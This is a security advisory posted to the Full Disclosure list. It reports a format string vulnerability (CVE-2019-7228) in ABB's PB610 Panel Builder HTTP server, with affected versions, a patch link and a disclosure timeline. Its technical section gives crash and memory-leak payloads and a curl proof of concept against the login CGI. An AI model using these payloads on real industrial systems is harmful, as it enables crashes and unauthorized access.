[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability

XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability
========================================================================

Identifiers
-----------
XL-19-012
CVE-2019-7228
ABBVU-IAMF-1902007


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server is vulnerable to memory corruption through insecure use of 
user supplied format strings. An attacker can abuse this functionality to 
bypass authentication or execute code on the server.


Technical details
-----------------
The IDAL HTTP server does not safely handle username or cookie strings during 
the authentication process. Attempting to authenticate with the username 
"%25s%25p%25x%25n" will crash the server. Sending "%08x.AAAA.%08x.%08x" will 
log memory content from the stack.


Proof of concept
----------------
```
curl -d 'username=%2508x.AAAA.%2508x.%2508x&password=xen1thLabs' 
http://targetip:81/cgi/login
````

    UserManagementModule::LoginCGIUser failed. 
User:"72657355.AAAA.616e614d.656d6567" not present in UserFactory


Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 
2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - 
https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/